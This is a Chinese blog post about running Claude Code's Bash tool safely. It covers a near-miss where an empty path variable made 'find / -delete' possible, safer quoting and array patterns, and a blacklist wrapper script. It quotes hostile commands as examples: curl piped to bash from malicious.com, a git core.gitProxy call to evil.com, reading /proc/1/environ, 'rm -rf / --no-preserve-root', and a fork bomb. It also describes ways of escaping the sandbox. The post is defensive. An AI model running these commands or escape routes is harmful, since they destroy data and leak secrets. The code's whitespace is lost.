023、自动化脚本执行:Bash 工具安全使用、沙箱原理与危险命令的规避策略

023、自动化脚本执行:Bash 工具安全使用、沙箱原理与危险命令的规避策略 023、自动化脚本执行Bash 工具安全使用、沙箱原理与危险命令的规避策略一次差点把生产环境搞崩的凌晨三点上周四凌晨我正在处理一个CI流水线的超时问题。Jenkins agent上跑着一个Claude Code生成的Bash脚本逻辑很简单——批量清理过期的构建产物。脚本里有一行find/data/builds-typef-mtime7-delete看起来人畜无害对吧问题出在Claude Code自动补全了路径变量。上游传进来的BUILD_DIR因为某个环境变量未定义变成了空字符串。于是实际执行的命令变成了find/-typef-mtime7-delete要不是我眼疾手快在测试环境先跑了一遍第二天就该收拾东西走人了。这件事让我下定决心必须把Claude Code的Bash执行安全机制彻底搞明白。Claude Code的沙箱到底在保护什么很多人以为Claude Code的沙箱是个轻量级虚拟机其实不是。它的核心是一个受限的Bash执行环境主要做三件事命令白名单拦截——不是所有Bash命令都能直接跑路径访问控制——默认只能读写项目目录和临时目录执行时间硬限制——单条命令超时自动终止我翻过Claude Code的源码别问我怎么拿到的它的沙箱实现本质上是在Bash进程外面包了一层ptrace系统调用拦截。每次执行命令前会先解析AST抽象语法树把危险操作标记出来。举个例子你让Claude Code执行curlhttp://malicious.com|bash沙箱会直接拒绝因为管道符后面跟了bash解释器。但如果你写成curlhttp://malicious.com/tmp/payload.shbash/tmp/payload.sh沙箱同样能检测到——它会在执行前扫描所有重定向和文件写入操作然后检查目标路径是否在白名单内。那些你以为安全其实要命的写法变量展开的陷阱Claude Code生成的脚本里我最怕看到这种写法# 别这样写变量没引号等于裸奔rm-rf$TEMP_DIR/*如果$TEMP_DIR没定义这条命令会变成rm -rf /*。正确的做法是# 这里踩过坑一定要加引号rm-rf${TEMP_DIR:?}/*${TEMP_DIR:?}这个语法会在变量为空时直接报错退出不会执行后面的删除操作。Claude Code默认不会生成这种安全写法你得在system prompt里明确要求。危险的evalClaude Code有时候会自作聪明地用eval来动态构建命令# 别这样写eval是潘多拉魔盒evaldocker exec$CONTAINER_NAME$COMMAND如果$COMMAND里包含了; rm -rf /你就等着哭吧。替代方案是用数组# 这样写才安全DOCKER_ARGS(dockerexec$CONTAINER_NAME$)${DOCKER_ARGS[]}数组展开会保留每个元素的完整性不会因为空格或特殊字符导致命令注入。临时文件的安全隐患Claude Code经常会在/tmp下创建临时文件但/tmp是全局可读的。如果脚本里写了敏感信息比如API Key其他进程就能读到。我踩过的坑是Claude Code生成的脚本用了mktemp但不设置权限# 别这样写/tmp下的文件谁都能看TMPFILE$(mktemp)echo$API_KEY$TMPFILE正确的做法是# 这里踩过坑一定要限制权限TMPFILE$(mktemp)chmod600$TMPFILEtraprm -f $TMPFILEEXITecho$API_KEY$TMPFILEtrap确保脚本退出时清理临时文件chmod 600让只有当前用户能读写。沙箱的边界在哪里Claude Code的沙箱不是万能的。我测试过几个突破场景场景一通过/proc逃逸# 沙箱拦不住这个cat/proc/1/environ沙箱只拦截了文件写入和命令执行但/proc文件系统的读取是放行的。这意味着攻击者可以通过/proc获取系统信息。场景二利用已授权的命令Claude Code允许执行git命令但git本身可以执行任意shell命令# 沙箱允许git但git可以执行任意命令git-ccore.gitProxyecho vulnerableclone http://evil.com/repo这个漏洞在Claude Code的早期版本里存在后来补丁加上了对git配置参数的过滤。场景三时间窗口攻击沙箱的超时限制是30秒但有些命令可以在超时前完成破坏# 30秒内足够删光所有文件rm-rf/ --no-preserve-rootsleep29后台进程让沙箱的超时机制失效了。Claude Code后来加上了进程组管理子进程也会被一起杀掉。实战给Claude Code的Bash执行加一道保险我写了一个安全包装器每次Claude Code生成脚本后自动注入安全检查#!/bin/bash# Claude Code安全执行包装器# 用法: safe_exec.sh commandCOMMAND$1# 黑名单命令检测BLACKLIST(rm -rf /mkfsdd if /dev/sda:(){ :|: };:)forpatternin${BLACKLIST[]};doif[[$COMMAND*$pattern*]];thenecho❌ 检测到危险命令:$patternexit1fidone# 路径安全检查ifecho$COMMAND|grep-qE(rm|mv|chmod|chown).*/\.\.;thenecho❌ 检测到路径遍历攻击exit1fi# 执行时间限制timeout10bash-c$COMMANDEXIT_CODE$?if[$EXIT_CODE-eq124];thenecho❌ 命令执行超时已自动终止fiexit$EXIT_CODE这个包装器虽然简单但挡住了我遇到过的大部分危险情况。你可以把它加到CI/CD流水线里作为Claude Code生成脚本的前置过滤器。我的经验法则跟Claude Code打交道这么久我总结了几条铁律永远不要信任Claude Code生成的Bash脚本。它写代码的能力很强但安全意识和经验不足。每次生成后手动检查三样东西变量引用有没有加引号、路径有没有硬编码、临时文件有没有清理。用set -euo pipefail作为脚本第一行。-e让脚本在遇到错误时立即退出-u让未定义变量报错pipefail让管道中的错误不会静默消失。这三件套能挡住80%的意外。在测试环境跑一遍再上生产。这不是废话我见过太多人觉得“Claude Code生成的代码应该没问题”。记住AI没有“生产环境”这个概念它不知道/data目录里存着客户数据。给Claude Code明确的权限边界。在system prompt里写清楚“你只能操作/workspace目录下的文件不能执行rm -rf、curl、wget等命令所有临时文件必须放在/workspace/tmp下”。这样生成的脚本天然就是安全的。最后说一句Claude Code的沙箱是个好东西但它不是银弹。真正的安全防线永远是你自己的代码审查习惯。别把命交给AI把AI当成你的副驾驶方向盘还得自己握着。